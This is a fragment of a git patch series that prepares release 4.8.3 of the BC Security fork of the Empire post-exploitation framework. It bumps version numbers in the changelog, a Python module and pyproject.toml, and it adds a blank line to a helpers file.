b/empire/server/common/helpers.py @@ -163,6 +163,7 @@ def strip_python_comments(data): ] return "\n".join(strippedLines) + #################################################################################### # # PowerShell-specific helpers From a4543da815a77fbfb6ee0f85c36cb0443f1b74aa Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 11 Nov 2022 01:33:45 +0000 Subject: [PATCH 9/9] Prepare release 4.8.3 --- CHANGELOG.md | 7 ++++++- empire/server/common/empire.py | 2 +- pyproject.toml | 2 +- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4c590a914..f2525c49f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,7 +7,10 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] +## [4.8.3] - 2022-11-11 + ## [4.8.2] - 2022-11-11 + - Updated crontab method to work with python3 (@Cx01N) - Updated linux_privesc_check to work with python3 (@Cx01N) - Fixed mistakes in README.md (@Cx01N) @@ -312,7 +315,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Updated shellcoderdi to newest version (@Cx01N) - Added a Nim launcher (@Hubbl3) -[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v4.8.2...HEAD +[Unreleased]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v4.8.3...HEAD + +[4.8.3]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v4.8.2...v4.8.3 [4.8.2]: https://github.com/BC-SECURITY/Empire-Sponsors/compare/v4.8.1...v4.8.2 diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py index 2dd77f7f4..c8fdcbb7d 100755 --- a/empire/server/common/empire.py +++ b/empire/server/common/empire.py @@ -46,7 +46,7 @@ ) from .events import log_event -VERSION = "4.8.2 BC Security Fork" +VERSION = "4.8.3 BC Security Fork" class MainMenu(cmd.Cmd): diff --git a/pyproject.toml b/pyproject.toml index 13127ddef..857a6946e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "empire-bc-security-fork" -version = "4.8.2" +version = "4.8.3" description = "" authors = ["BC Security "] readme = "README.md"